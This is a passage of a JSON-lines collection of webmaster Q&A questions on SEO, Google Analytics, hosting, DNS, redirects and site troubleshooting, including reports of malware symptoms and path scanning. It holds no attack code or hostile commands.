#cssmenu ul li > ul li{display:block; list-style:inside none; padding:0; margin:0; position:relative;} #cssmenu ul li > ul li a{ outline:none; display:block; position:relative; margin:0; padding:8px 20px; font:10pt \"Lucida Grande\", Helvetica, sans-serif; color:#fff; text-decoration:none; text-shadow:1px 1px 0 rgba(0,0,0, 0.5); } #cssmenu, #cssmenu > ul > li > ul > li a:hover{ background:#333333; background:-moz-linear-gradient(top, #333333 0%, #222222 100%); background:-webkit-gradient(linear, left top, left bottom, color-stop(0%,#333333), color-stop(100%,#222222)); background:-webkit-linear-gradient(top, #333333 0%,#222222 100%); background:-o-linear-gradient(top, #333333 0%,#222222 100%); background:-ms-linear-gradient(top, #333333 0%,#222222 100%); background:linear-gradient(top, #333333 0%,#222222 100%); filter:progid:DXImageTransform.Microsoft.gradient( startColorstr='#333333', endColorstr='#222222',GradientType=0 ); } #cssmenu{border-color:#000;} #cssmenu > ul > li > a{border-right:1px solid #000; color:#fff;} #cssmenu > ul > li > a:after{border-color:#444;} #cssmenu > ul > li > a:hover{background:#111;} #cssmenu > ul > li.active > a{ color:orange; } .header{ clear:both; } The problem is that, whenever I hover on the dropdown-menu, that a 1px margin appears in between the menu and the header. Can I solve that? I can't seem to find the solution."}
{"id":"47981","title":"Test if Google+ is already with my Website","text":"How can I verify or check if a website is already linked with Google plus? I already added `<link href=\"https:\/\/plus.google.com\/{+PageIdGoesHere}\" rel=\"publisher\" \/>` this to my head tag of my page."}
{"id":"18038","title":"Will doing this improve somewhat improve my site ranking (SEO)?","text":"So I like to post a lot on forums. And often times, I'll link images. I usually use imgur as the image provider. But this thought just came into my head. Would it be a good idea to have the image on a page of site, thereby increasing my site ranking (right now, I'm the only person who's ever been on my site hah). So basically, instead of linking http:\/\/i.imgur.com\/veCBW.p ng, I would link mysite.com\/pagethatincludestheimage . And inside it would just contain img src of the image. It would basically appear exactly the same. Is this a decent idea? Is there any other way it may help my site? Btw, I also use amazon s3, so hotlinking will not be an issue."}
{"id":"11073","title":"Having trouble moving Website","text":"Some acquaintances of mine inherited a website running a custom wordpress template and the previous owner asked them to take over and to get it set up on their own server. I was asked to assist since I was the only one they knew with some technical skills. The previous site owner send me a backup of the web files and the mySQL database and recommended using site5.com for hosting. I got the files installed, things seemed to be OK and we were then ready to transfer the DNS. The domain is registered through GoDaddy and the prior owner issued a transfer to me, I got signed up accepted the domain and then went in and set the nameservers per site5 instructions: dns.site5.com and dns2.site5.com I expected that this was all that would be required and would just wait for the dns entries to update. However, at present when I browse or ping the Website. I get Server not Found. Is there anything else that I should have done or am I just in DNS Limbo? WHOIS.NET reports that it is registered to me and has the nameservers correct. You'll have to excuse me, while I've set up several websites internally at my work, this is the first time I've worked on an internet website. Thanks for any help you can offer."}
{"id":"35355","title":"Google crawling the site but refusing to index dynamic content","text":"I am trying to get Google to index an AJAX site (davidelifestyle.com). It's crawlable with JavaScript turned off and I have also recently implemented _escaped_content_ snapshot mechanism but all that's indexed is a home page and PDF files that are not directly available from the home page. Also when I use Fetch as Google in Webmaster Tools, it downloads the dynamic page but does not index it (\"Submit to Index\" just reloads the page). Any ideas what might be wrong? Edit: Today Index Status in Webmaster Tools showed: `Total indexed: 0, Not selected: 178`. According to documentation, pages are \"not selected\" because they are regarded duplicates."}
{"id":"3100","title":"Why does Google sometimes show fewer than the standard pair of lines for the \"snippet\"?","text":"Normally websites listed in Google's results pages are shown with a standard excerpt comprising two lines with a [...] at the end of the second line. Occasionally Google allows the website a full sentence without a [...] and in these cases the excerpt or summary is typically limited to a single line. Why?  Also occasionally Google shows no excerpt at all. Why is this?  We're trying to rescue a customer from virtual invisibility on Google (up till now they have been nofollow, noindex). Wondering if the fact that Google only gives them a single line is a clue to how Google sees (or doesn't) this site. Screenshots are just examples, these sites are not my client."}
{"id":"3101","title":"categorize website based on visitors count","text":"my site is having around 300 unique visits\/5000 pageviews per day. i want to know how many unique visits\/page views (approx.) a site should have to be called low , moderate and high traffic website. also how can i test strength of my website, like how many requests my website can process simultaneously. http:\/\/loadimpact.com\/ -- iam looking for some tool like this. i want these figures to choose a proper webhost as my new project is very big as compared to this one. Also what are the things we should look for when choosing a web host. Ram and CPU are important for webservers to process requests but most of webhosts never talk of cpu and ram allotted to us. They only provide disk space and daily\/monthly allowed traffic in GBS."}
{"id":"11074","title":"Legal to modify game art and screenshots for my own site?","text":"I'm currently working on building a video game related website, and I'm wondering if it's legal to use screenshots or concept art that game studios post on their official sites. At most I would want to crop these images to create links with. I see other sites like IGN, Gamespot, etc doing this at length, but I'm wondering if they have to have permission."}
{"id":"34442","title":"How to calculate maximum number of request in 128 MB VPS performance?","text":"I am a newbie here, please let me know if I'm using wrong webmaster terms. I am currently setting up a VPS for a multi site WordPress. The VPS uses Debian 6 LNMP setup and the DNS is being taken care by another service. Currently the VPS is running non multi site WordPress with -+ 83 MB RAM out of 128MB. As far as I know the performance is relative to the number of request, not the number of sites in the multi site setup. ## The question How do I calculate maximum number of request in with that setup? If the information is not enough, what other factor do I need to know? Thank you in advance."}
{"id":"15976","title":"Is it good idea to put a captcha on credit card payment form","text":"Is it good idea to put a captcha on credit card payment form? I am thinking to put one on my asp.net mvc application's payment section to make it more secure but I have never seen anybody doing that."}
{"id":"15972","title":"How to find whom a registrar is reselling?","text":"In case a domain is registered not with an ICANN accredited registrar and only the reseller is mentioned in the whois, how can I find out whom is the reseller actually reselling? For example, whois record for 24creation.com has it that the domain has been registered with fc2.com, but the latter doesn't seem to be an ICANN accredited one, so it must be reselling someone."}
{"id":"30720","title":"Where to find Joomla components for 1.0.X?","text":"I need to add new functionality to an old Joomla 1.0.15 installation. To be concrete, I need to add a component that allows me to add custom javascript to my content. I know that there is the option to edit the html source of the content but I rather would like to use a module for this. So I see two options (correct me if there are more): 1. Update Joomla to at least version 1.5 (From some forum posts I found out that can be somewhat complicated). I don't know if it is worth the effort since new functionality requirements come rarely (and I think my client doesn't want to pay for a Joomla version update). 2. Find an appropriate component and leave the old installation as it is. Can anyone point me into the right direction?"}
{"id":"8679","title":"What to do if Google has banned my site?","text":"What should I do if I suspect that Google has Banned (refuses to list pages for) my Site?"}
{"id":"38134","title":"301 redirect for a page with a space in it","text":"I have some pages from a client's old template-based site which have spaces in them. For example, one of the pages looks like this: example.com\/page.php?domain_name=example.com&viewpage=Gallery %26 News I'm thinking that the correct way to do an htaccess 301 redirect is to include something like this: Redirect 301 \/page.php?domain_name=example.com&viewpage=Gallery%20%26%20News http:\/\/www.example.com\/gallery\/ where the new page is: example.com\/gallery Is this correct?"}
{"id":"4093","title":"Chat solution, that integrates with VBulliten forums","text":"I'm wondering if there any software that adds the chat capability of on page chat (facebook-like), to the VBulliten forum system, with the following requirements: 1. Requires no plugins (Pure JavaScript) or has alternatives (Uses anyone that available of Flash, or Silverlight of Java).or just throw a link. 2. Integrates with the members system, utilizes the Username, User avatar. 3. Utilizes the friendship featues that is already implemented in VBulliten. So you can see online friends and private-chat with them. And if it supports the public chat rooms it will be better. I would like to hear about software you've experienced: commercial, property free-ware, or free\/open-source. And what services they offer or just a brief about their Pros\/Cons from your point of view. Thanks in advance"}
{"id":"35718","title":"\"Email This\" button with sideways counter","text":"I've been asked to build a design that has a \"share this\" area like below:  I've built every aspect except the Email part of it -- any idea how best to do that? I've found http:\/\/getmailcounter.com\/, but that displays a counter above. I'd personally just do a link, but it seems they're wanting some sort of analytics built in... Failing that, does anyone know of some sort of sharing system that looks like that and has all of those options? I'd just use AddThis, but its designs don't look very close to that... Thanks! Related: How to implement an email this link button"}
{"id":"50494","title":"Nofollow: a good thing for SEO or not?","text":"I read a while ago, on this site, (sorry, can't find the link), that Google sees anchors with `nofollow` attributes as _paid links_ and mentioned for _affiliates_. I thought that using a `nofollow` for external links is good and not harmful as Google sees it as a less valuable link. I am confused and don't know what to think really. Can someone give me the right answer on this? Right now, I am using a `nofollow` on all my external links. Should I step off of this one?"}
{"id":"37975","title":"How to monitor traffic from domains forwarding?","text":"I have suppose 10 domains all redirecting( using godaddy forwarding) to example.com. Is there a way I can monitor traffic from these 10 domains ? Probably some how in Google Analytics or some other way out ? I am using Google Analytics on example.com"}
{"id":"4099","title":"Copyright word or symbol","text":"After reading this post I was wondering which is best to use for websites out of the following, * Copyright (C) 2010 \"COMPANY\" * (C) 2010 * Copyright 2010 Also, if we license everything we produce under the GPLv3 license, should we also include anything about that at the bottom?"}
{"id":"35713","title":"Another company has my domain in Japan","text":"I own a company and have the company name registered as a trademark. I just discovered that someone has already bought my company name domain in Japan. So say I own this company japancompany.com and I want to get the domain japancompany.jp but someone else has already bought it. Can I somehow get it back?"}
{"id":"23587","title":"Google Analytics - two visitors between August 13th and September 12th","text":"So I was recently given access to our Google Analytics, and it appears like we only had TWO visitors between August 13th and September 12th... this is for a site that typically has between several hundred to over a thousand visitors per month. What could have caused this error? Almost certainly we didn't only have two users during this month."}
{"id":"43851","title":"Facebook like and share buttons will have impact on SEO in future?","text":"I read in blogs that Facebook features will be crawled in future. Maybe like how many Likes are done for a specific page. In that case is it good to use third party widgets like ShareThis to integrate Facebook Likes or do I have to directly use the Facebook code on my website?"}
{"id":"67838","title":"How to exclude total sessions when comparing segments in Google Analytics","text":"In previous versions of Google Analytics it was possible to uncheck total sessions when comparing segments so that only the checked segments would be graphed. But now I can't figure out how to quickly exclude total sessions. And I'm left with a graph that looks like this:  Is it still possible to exclude total (\"Sessions\" in the graph above)?"}
{"id":"35145","title":"Robots.txt and pattern matching","text":"Adding this to my robots.txt User-agent: * Disallow: \/*action=*$ How does robots not recognizing wild cards handle this?"}
{"id":"23589","title":"How to protect the contact us page from spammers? Even using captcha, validation etc I sitll receive spam letters","text":"I have on my site, every field validation + captcha protection + math validation + server scripting validation, but still this a spammer keeps sending me spam mails. Is there any better smarter protection protect those ugly face's? special sites like: `http:\/\/mysite.com\/contact.php`"}
{"id":"32848","title":"Developing from scratch vs. Wordpress","text":"I am facing a dilemma, over the past six months I have been building my website from scratch and I put plenty of hours into it using standard html\/css\/php\/mysql\/javascript and jquery... My website provides a service on a membership only basis, I was wondering if it is smart decision to start transitioning to wordpress? At the moment, I have no experience using it although I heard of the many advantages... I am a freelance web developer\/designer and I am trying to decide if regularly working with wordpress is worth it? are there any drawbacks? I enjoy the 'coding' part of web development which is why I tried to stay away;)"}
{"id":"19129","title":"How can I organize my domain names?","text":"I have some domains registered with 1and1 and some with dreamhost and hosting on both companies but some point to hosting with dns. It's all a mess! Is it best to register your domains through a registration company and then just point them to hosting company? Any recommendations how I can clean this up?!"}
{"id":"27693","title":"Should I still use the <b> tag?","text":"A while ago I learned to use proper CSS stylesheets on my websites. However, on Wikipedia and eBay and other sites I see the deprecated `<b><i>` tags being used. I was going for `<span style=\"font-weight:bold;\"><\/span>` but I **_never_** see it done that way. So what's up with the WC3 standards. Are `<b>` tags back in style?"}
{"id":"19120","title":"Tracking with Google Analytics both a page and a file linked from it","text":"I have a page located on a subdomain (downloads.easyjob.net) that links to an executable. The download of the executable is correctly tracked by google analytics (following these indications). However, I'd like to track the page itself too. How can I do this?"}
{"id":"19124","title":"Does someone knows of a free asmx webhosting?","text":"I wrote a webservice (*.asmx) and I want to host it for free. Couldn't find a website that alows web service hosting. Does someone know of such ?"}
{"id":"19127","title":"Any websites out there that showcase beautiful and pure css? (no images, flash, etc)","text":"Something like the css zen garden but without the images used, just showing off what css can do on it's own? Or in general a site that gives an overview of pure css techniques to beautify web pages."}
{"id":"25830","title":"Does putting more ads on a page necessarily generate more revenues?","text":"It seems 'logic' that if you put more ads on a page, it 'should' generate more revenues. However, someone could argue that too many ads repel users, and therefore, pages with less ads are would be visited more often. Has anyone got practical experience to share about this? Does putting more ads on a page necessarily generate more revenues in practice?"}
{"id":"25833","title":"Does Google penalize daily updated <lastmod> tags in sitemaps if the data is not daily updated?","text":"I've got a sitemap that is generated daily with a lot of links to product pages. These products are imported daily from another data source. Because the update consists of throwing away all current product info and replacing it with the new imported info the last modified date always jumps one day. This is also used in the sitemap. Even for products that haven't changed. All product pages pretend to have been updated. Will Google penalize the website for pretending the pages have changed from day to day while they haven't? My solution would be to only change the entry only if the new imported product data differs from the previous data. I just want to make sure this is a useful upgrade to make, while I could also spend my time on other improvements."}
{"id":"25838","title":"Google Search results show one link but no description","text":"Search for this term in Google: cop-groningen or click the link to get to the page without typing. It shows you a link at the top of the search results page: `www.cop-groningen.nl\/`. Below it I see neither a description (in black) nor a breadcrumb (in green). The preview is not working either (it says: no preview available). If you click the link, the site loads as expected. This is a snippet from the website's homepage: < meta name=\"keywords\" content=\"COP, groep, COPgroep, peuteropvang, slochteren, kidsfirst\" \/> < meta name=\"description\" content=\"Stichting COP groep - Organisatie voor gesubsidieerde peuterspeelzalen en opvoedingsondersteuning in de stad Groningen\" \/> **EDIT:** The website has been on air for ages, and has had a description before. I now also see in Google Analytics that no visitors were reported after 15 january 2012. There have been visitors, however. Anyone get any idea why this is the case? I try to analyse with Wireshark but I'm not good for analysing packets. I just don't get it."}
{"id":"59084","title":"Pages crawled with Cloudflare","text":"I activated Cloudflare on my blog a few days ago and in their Analytics it shows me that there are 255 pages crawled by Bing, 16 by Yandex and only 1 by Google. Why only one page for Google? Should I worry about it?"}
{"id":"51196","title":"Duplicate content issue between two sites having same ‘website navigation steps’ in home page","text":"My client has two websites `www.example1.com` and `www.example2.com` those websites are same in structure and content. First site is old one and the second site is fresh site that was registered in this month only (not crawled by Google). I have been working to change the contents of the new one. In the home page of both sites we have ‘How to navigate this website’ section that contains 4 steps to tell our customers about the website and the working methods. Those steps are similar for both sites so I plan to leave that section from checking copyright, which means, I’m going to give same details in both the site. But our home page has some other details like introduction etc and those contents are different so I can’t provide canonical tag in that page. I need Google to consider both the sites as good sites. What can I do? Is there any attribute to notify Google that both the sections are same?"}
{"id":"60983","title":"How do you track display impressions in Google Analytics on non Google networks?","text":"Google Analytics has a Multi-Channel funnel analysis feature that we’d like to use to understand assisted conversions and how each channel has impacted on conversion beyond just last interaction attribution. My current understanding is that the impression tracking part of this feature works really well when playing within Google’s search and display networks. Outside of Google’s network I suspect that impression tracking will no longer “just work” and feed back into GA appropriately. What our options are for tracking display impressions on other advertising networks so that we can be attributing value correctly with GA?"}
{"id":"54910","title":"Forum is removed but still being visited by Googlebot","text":"I've removed Simple Machine Forum (SMF) from my blog and from Google's index . I've even removed the sub-directory \/forum from my blog techwayz.com and blocked it through robots.txt file. Unfortunately, it is still being visited by Googlebot. Every time Google visits the forum, I receive a 404 error alerts in webmaster tools. How can I resolve this?"}
{"id":"60984","title":"Change Apache +Indexes language","text":"I have a webpage with Index activated. I have this:  Is there any way for change language of this, using `.htaccess`? I've already tried this `Directives`: AddLanguage pt .pt DefaultLanguage pt-PT RewriteEngine On RewriteBase \/ RewriteCond %{HTTP:Accept-Language} ^.*(pt).*$ [NC] RewriteRule ^(.*)$ - [env=lang:%1]"}
{"id":"23361","title":"Website analytic software compliance","text":"I need to find a program which can crawl a site and show what various search engine spiders will parse (or not parse) and use for information. What we are looking to do is have a program go through the our site and tell us what images don't have alt tags (because engines use the alt tags on images at times to determine some site information etc.), or which content is written such a way that the SEs can't pull the information and use it in their rankings."}
{"id":"47127","title":"display product price in google search result","text":"While I search for the magento module in google, I noticed the price is displayed in google search. Can we display the price of the product in google search by using any tag or any other way. Someone tell me what method is used in this. "}
{"id":"47129","title":"PayPal IPN\/PDT for multiple sites","text":"We have 4 websites that sell 4 separate (and unrelated products), and all of them use the same PayPal account. All 4 sites provide options for paying with PayPal Standard, and PayPal Website Payments Pro. The 'Pro' side of things works fine. The area we have a problem is with the IPN settings. As we have 4 \"Notification URL's\" what should we enter in the IPN settings? Has anyone found a way to set this up properly? (I use quite a few other SE sites, but this one looked most likely to answer a PayPal question. If it's not, please migrate it or tell me and I'll delete and repost. Thanks)"}
{"id":"23368","title":"SEO penalty for landing page redirects","text":"Using ebay as an example- lets say I have a large number of items whose URLs' look like this: _`cgi.ebay.com\/ebaymotors\/1981-VW-Vanagon-manual-seats- seven-\/250953153841`_ I want to give my client the ability to put links to these items on their website EASILY, without knowing or checking my URL. So I created a redirect service that will map their identifier with my URL: _`ebay.com\/fake_redirect_service\/shared_identifier9918`_ would redirect to the link above. This works great- my clients can easily setup these links with information they already have, and the user will see the page as usual. So on to the problem... I'm concerned that this redirecting service will have a negative impact on my SEO ranking. Having a landing page redirect you immediately to a different URL seems like something a typical spam site would do. Will this hurt me? Any better solutions?"}
{"id":"59618","title":"Google Analytics Goal Flow","text":"How does Google Analytics tracks users?Each user is tracked as unique user? I have a doubt about a goal flow in Google Analytics. I'm working on an ecommerce site. I set the goal as reach the \"thank you\" page after purchasing something. Before reaching the thank you page, users have to complete a checkout process. My doubt is about what happen if a user leaves the checkout process and comes back to site for add to cart another object and then returns to checkout and completes the order? What do I see on the goal flow? 2 entry in the checkout process (the first access and then the second one, after the user has added something to the cart) and 1 abandonment? I want to know if the user which has leave the checkout process and the user which completes the order is the same user. How can I track this?"}
{"id":"28853","title":"phpbb banning multiple users by username\/email","text":"On phpbb, we usually select many user names and put it in the ban list. This is fine. but here's my key question: Are these banned users banned by their user names only OR emails OR both? If they're banned by user names only, is it possible to black-list their email addresses as well?"}
{"id":"8095","title":"Testing Silverlight Installation Experience","text":"In my web app I use Silverlight. Since I already have Silverlight installed I cannot test how my webapp behaves in case a user has no Silverlight installed, or has old version of it, or their computer has configuration which is incompatible with Silverlight at all. Is there a recommended approach in reproducing these types of environments for testing purposes, or the only way is to delete\/install browser many times?"}
{"id":"48811","title":"Managing Xampp on USB for Mac and Windows machines","text":"I am working on some PHP projects (Wordpress mostly) with MySQL databases and primarily use my Windows Desktop to do the work on whilst running Xampp. This all works great until I need to take my work on my mac via my usb hardrive. I copy my files from my windows machine on to my USB external and then I go to my macbook and fire up my USB hardrive. What I need is for my Xampp to just pick up from where I left off at my Windows Desktop, I'm just wondering if this achievable? Or if I'm going the wrong way about it? What I tried today was changing the document root of _httpd.conf_ to my USB files directory. This actually worked great, it showed all my sites, except I was getting MySQL errors. I did however copy them across, but windows and mac Xampp are different where they store these databases it seems. Mac is in the var folder of Xampp and the Windows xampp databases are elsewhere. I could do this the manual way of each time I go from my Windows machine > Macbook I could copy the files and drag the exported databases with me, but this is time consuming for every time I just want to quickly move from one machine to the next. What I'm essentially asking if there is a way to solve my above problem about moving from Windows Desktop to Macbook on a USB external hardrive in the quickest way possible. Any insight would be great and I'm open to suggestions that people use in my situation."}
{"id":"8093","title":"Does SharePoint Designer only use jpeg images and not tif images?","text":"I uploaded a tif image into SharePoint Designer but it will not display on the web page. Does it have to be jpeg? I have uploaded jpeg images and they work fine but I erased a background on an image and saved it as a tif. Thanks"}
{"id":"61587","title":"Does hosting the pre-release website on domain affect SEO?","text":"Until now and still going strong I've always hosted my pre-release websites (my own and customers) (test builds \/ beta versions) on a test domain, before uploading the whole content to the official domain, purely based upon the assumption that, even with a `<meta name=\"robots\" content=\"index, nofollow\">` it would affect your future\/current SEO score on the official release of the website. _But I was wondering: Is that actually true?_ Of course, without a no-follow, Google (and others) would index all unofficial and, often not completed, content, combined with a (often) worse coded website than the official release, resulting with a lower SEO score. However, -with- using a `<meta name=\"robots\" content=\"index, nofollow\">` your SEO score (might?) not be lower, but for a longer time not indexed. I'm known quite a bit with SEO, but always wondered if this assumption was true. My question: Is this assumption true and what could be my best bet of having the website online for testing\/showing opportunities, besides just testing locally."}
{"id":"8090","title":"Misalignment of Facebook & Twitter buttons","text":"Here's a minimal example of my problem. It contains two buttons, from twitter and from facebook. What I'm observing in Firefox 3.5.15 is: 1. While the page is loading, the buttons are more or less aligned (I mean their bottom sides) 2. When the page is loaded, the facebook button moves a few pixels down, so that it's bottom side is lower than the bottom side of the twitter button. 3. If I reload the page, the buttons are again aligned, and remain in this state even after the page is loaded. Can someone please explain what's going on and how to fix it?"}
{"id":"44881","title":"The SEO Impact of Migrating from Free Hosting on WordPress.com to Own Hosting","text":"I have a blog (which serves as a commercial site) hosted on free wordpress.com. Since I now want to customise and get ownership of the whole thing I am thinking of either self hosting or upgrading through (the quite expensive) wordpress.com upgrade. My question is: what is the best way\/procedure not to lose SEO? The site ranks very high on a very specific query, and it's been sitting there for many years. (I only recently checked it out and want to revamp it.) I am afraid I would disappear from search results when changing the server to a self-hosted solution (by far the cheapest.) I'm not sure if I would keep the same SEO by internally upgrading to premium wordpress.com hosting."}
{"id":"15208","title":"How can I find the number of users who visit my site via a redirect?","text":"My domain `foo.com` redirects (via a permanent 301) to `bar.com`. I want to know how many visitors to `bar.com` come from having first visited `foo.com`. I'm using Woopra - originally, I thought the referrer would be `foo.com`, but it turns out that this is not the case. I'm fine with writing custom JS if that is required, but I have a pretty \"user friendly\" hosting account, which means that I can't really fiddle with Apache or whatever to log the redirects. Is there a way to do this?"}
{"id":"52055","title":"Persistent 404 requests from Facebook","text":"Not a huge issue for anyone using my site but those who are checking errors logs but for **months** , Facebook has been requesting an image on our server which hasn't existed since December 2012. I'd understand if it was a piece of content but the actual image it's requesting was part of an old design. This is just a selection from today: [Mon Aug 19 11:08:00 2013] [error] [client 173.252.73.116] File does not exist: \/var\/www\/r\/img [Mon Aug 19 11:08:00 2013] [error] [client 69.171.234.113] File does not exist: \/var\/www\/r\/img [Mon Aug 19 11:08:01 2013] [error] [client 173.252.73.119] File does not exist: \/var\/www\/r\/img [Mon Aug 19 11:08:01 2013] [error] [client 69.171.234.117] File does not exist: \/var\/www\/r\/img [Mon Aug 19 15:23:19 2013] [error] [client 69.171.224.119] File does not exist: \/var\/www\/r\/img [Mon Aug 19 15:23:19 2013] [error] [client 69.171.224.118] File does not exist: \/var\/www\/r\/img The Image (and User Agent): grep 173.252.73.116 \/var\/log\/apache2\/access.log \"173.252.73.116\" - - [19\/Aug\/2013:11:08:00 +0100] \"GET \/r\/img\/elem\/fptv.jpg HTTP\/1.1\" 404 1126 \"-\" \"facebookexternalhit\/1.1 (+http:\/\/www.facebook.com\/externalhit_uatext.php)\" As I said, this is only an inconvenience but I was wondering if there was any way to invalidate URLs with Facebook? I apologize if this is the wrong site to ask on, I was torn between here and Server Fault."}
{"id":"39262","title":"Unknown file automatically created on root folder","text":"I am not sure if it is the correct place to ask such a question. One of my websites got malware. It is hosted on a 1&1 server and the website is developed in WordPress 3.3.1 (now upgraded to 3.5). A few things I noticed are: 1. A file named `1278bd2dc5f89296044af950a96cd9d0` automatically created in public root directory. If I delete it, it reappear in couple of minutes. 2. This file has IP address separted by a pipe sign. Every few minutes, a new IP address is added to the list. 3. Initialy, it also overwrite the `index.php` and `wp-admin\/admin.php` files with lower permissions. I could not view what the have but I could only delete them. 4. I SSHed to server and see there are no unknown processes running. 5. I have one single FTP user. whose password I have changed a while ago. Can anybody tell me? What and where should I check to stop this happening? Maybe it's remote process but how to track it down? Contents at this time are: > 157.55.32.83|199.21.99.106|173.255.233.124|"}
{"id":"22183","title":"Import huge SQL file(6GB+) to MySQL on VPS","text":"I'm trying to import a DB from .sql file, but it's impossible, cause like I said is over 6GB with a lot of records in it and I hit the limit of max_allowed_packet. I use my cPanel user to login in mysql via PuTTy, but it requires SUPER privileges to set this variable(max_allowed_packet)."}
{"id":"22186","title":"Blocking path scanning","text":"I'm seeing in my access log a number of request very suspicious: \/i \/im \/imaa \/imag \/image \/images \/images\/d \/images\/di \/images\/dis They part from a known resource (in the above example \/images\/disrupt.jpg). All comming from same IP. Requests varies from 1\/sec to 10\/sec, seems somewhat random. It's obviously they are trying to find something and seems they are using a script. How do I block this kind of behaviour? I though of blocking the IP request, at least for a given time. Keeping in mind that: * Request intervals seems legitimate (at least I think so). * I don't want to end blocking a search engine bot, which may find 404 urls too (and that's a different problem, I know). ¿Do they use always same IP?"}
{"id":"51077","title":"Is it possible to set up a subdomain and link to it from the main site?","text":"I have a store hosted on big cartel which I want to set up as a subdomain on my website. Something like: `http:\/\/store.mysite.com` Is it possible to do this somehow? If so, how do links to the subdomain work? Would a link to `store.mysite.com\/product1.html` be the same as `externalsite.com\/product1.html`?"}
{"id":"61286","title":"How to find out what is causing \"Entry Process\" limit?","text":"We're using an OpenCart 1.5.5.1 custom theme for our site. Well it hasn't been smooth sailing for us and we are facing problem after problem. So far the gist of it is we're currently on a business SSD host (still shared I believe) to test the performance of the site (uniqpcs.co.uk), it is on a trial period so that we can load test the site (using load impact). Every single instance, when running the test it seems that the entry process limit is reached, causing the site to become unresponsive and eventually crashing (the entry process limit is set to 20 on our cPanel - even tried 40 but still same issue). Been in contact with host provider (NameCheap) back and forth through email and live chat without any real help unfortunately but they mentioned a few things to me that I hope you can help clarify: From what I understand the _Entry Process_ limit is reached when a process (most likely PHP scripts) hangs much longer than expected and the delay causes more and more process to pile up hence the site becoming unresponsive and eventually reaching its limit. From their MySQL error log they determined that the database is 'apparently' not optimized very well with 126 tables and a total of 26791 rows and said there is a SELECT query in MySQL which processes too long because of a large amount of rows: Please find MySQL server logs below: # Time: 140501 8:37:23 # User@Host: auniqpcs_uniqpc[auniqpcs_uniqpc] @ localhost [] # Query_time: 12.059221 Lock_time: 0.004748 Rows_sent: 1 Rows_examined: 26731 SET timestamp=1398947843; SELECT COUNT(DISTINCT p.product_id) AS total FROM category_path cp LEFT JOIN product_to_category p2c ON (cp.category_id = p2c.category_id) LEFT JOIN product p ON (p2c.product_id = p.product_id) LEFT JOIN product_description pd ON (p.product_id = pd.product_id) LEFT JOIN product_to_store p2s ON (p.product_id = p2s.product_id) WHERE pd.language_id = '1' AND p.status = '1' AND p.date_available <= NOW() AND p2s.store_id = '0' AND cp.path_id = '211'; # User@Host: auniqpcs_uniqpc[auniqpcs_uniqpc] @ localhost [] # Query_time: 12.081561 Lock_time: 0.004338 Rows_sent: 1 Rows_examined: 26746 SET timestamp=1398947843; SELECT COUNT(DISTINCT p.product_id) AS total FROM category_path cp LEFT JOIN product_to_category p2c ON (cp.category_id = p2c.category_id) LEFT JOIN product p ON (p2c.product_id = p.product_id) LEFT JOIN product_description pd ON (p.product_id = pd.product_id) LEFT JOIN product_to_store p2s ON (p.product_id = p2s.product_id) WHERE pd.language_id = '1' AND p.status = '1' AND p.date_available <= NOW() AND p2s.store_id = '0' AND cp.path_id = '258'; # Time: 140501 8:37:26 # User@Host: auniqpcs_uniqpc[auniqpcs_uniqpc] @ localhost [] # Query_time: 13.821338 Lock_time: 0.005288 Rows_sent: 1 Rows_examined: 26746 SET timestamp=1398947846; SELECT COUNT(DISTINCT p.product_id) AS total FROM category_path cp LEFT JOIN product_to_category p2c ON (cp.category_id = p2c.category_id) LEFT JOIN product p ON (p2c.product_id = p.product_id) LEFT JOIN product_description pd ON (p.product_id = pd.product_id) LEFT JOIN product_to_store p2s ON (p.product_id = p2s.product_id) WHERE pd.language_id = '1' AND p.status = '1' AND p.date_available <= NOW() AND p2s.store_id = '0' AND cp.path_id = '245'; # Time: 140501 8:37:32 # User@Host: auniqpcs_uniqpc[auniqpcs_uniqpc] @ localhost [] # Query_time: 16.426658 Lock_time: 0.010242 Rows_sent: 1 Rows_examined: 26746 SET timestamp=1398947852; SELECT COUNT(DISTINCT p.product_id) AS total FROM category_path cp LEFT JOIN product_to_category p2c ON (cp.category_id = p2c.category_id) LEFT JOIN product p ON (p2c.product_id = p.product_id) LEFT JOIN product_description pd ON (p.product_id = pd.product_id) LEFT JOIN product_to_store p2s ON (p.product_id = p2s.product_id) WHERE pd.language_id = '1' AND p.status = '1' AND p.date_available <= NOW() AND p2s.store_id = '0' AND cp.path_id = '245'; While processing, load tool sends another PHP request which \"passes\" the request to MySQL (while the 1st SQL query is still being processed). It is also possible that PHP requests that are referred to MySQL are badly coded. pingdom: http:\/\/tools.pingdom.com\/fpt\/#!\/bzzDid\/uniqpcs.co.uk I would really like to know what is the exact cause of this problem, is it badly coded PHP script, is it the MySQL database queries, or is it the host? Now I'm not too sure what to do.... any advice is appreciated."}
{"id":"42513","title":"In Google Analytics's social reports, how can I look at the opt_target parameter used by _trackSocial?","text":"After implementing social interactions tracking using `_trackSocial`, how do I look at the `opt_target` parameter in my reports? I can only seem to drill down to social source and action. For example, I'm using... _gaq.push(['_trackSocial', 'Twitter', 'Follow', event.data.screen_name]); ...bound to Twitter's follow event to track when the follow buttons on my site are pressed, using the opt_target parameter (as per the social interactions documentation) to track the username of the Twitter account being followed. However, I don't know where to find that data in my reports, e.g. if I want to see what the most followed account is. If I go to Traffic Sources > Social > Plugins, I can see Twitter, and I can see the Follow events, but I can't drill down any further to see which accounts are followed:  I'm pretty sure I've seen this in a previous version of Google Analytics. Was it removed? How can I access this data?"}
{"id":"42516","title":"Which HTML+Javascript source editors support continuous validation and preview?","text":"For programmers, Eclipse continuously compiles source code and highlights errors as you type. This greatly accelerates edit-test iteration cycles. I'm looking for a similar sourcecode editor for HTML and embedded Javascript that: * highlights document errors in the HTML or Javascript source as I type * has a second view that continuously renders the page as I type Which tools support these features? I'm principally interested in speeding up edit-test cycles for Javascript (so I need a source editor, not a WYSIWYG editor). --- Added: Even if continuous preview is not supported, are there any source editors available that highlight Javascript errors directly in the source (and let you edit the source)? This would be very useful."}
{"id":"16576","title":"htaccess and 301 redirects - multiple domains","text":"I have the following which redirects `mydomain1.co.uk` and `mydomain1.com` to `www.mydomain1.com` perfectly. RewriteCond %{HTTP_HOST} !^(.*)\\.mydomain1\\.com$ [NC] RewriteRule ^(.*)$ http:\/\/www.mydomain1.com\/$1 [R=301,L] I am trying to add an additional rule for a second domain, that will redirect all non www traffic for `mydomain2.com` to `www.mydomain2.com`. Thanks!"}
{"id":"48118","title":"Trying to create my first sitemap","text":"I'm inserting a website map for the first time. I found this page: http:\/\/www.sitemaps.org\/protocol.html That page shows examples about sitemaps with xml, should I insert and xml code in my html? any advice for my first sitemap?"}
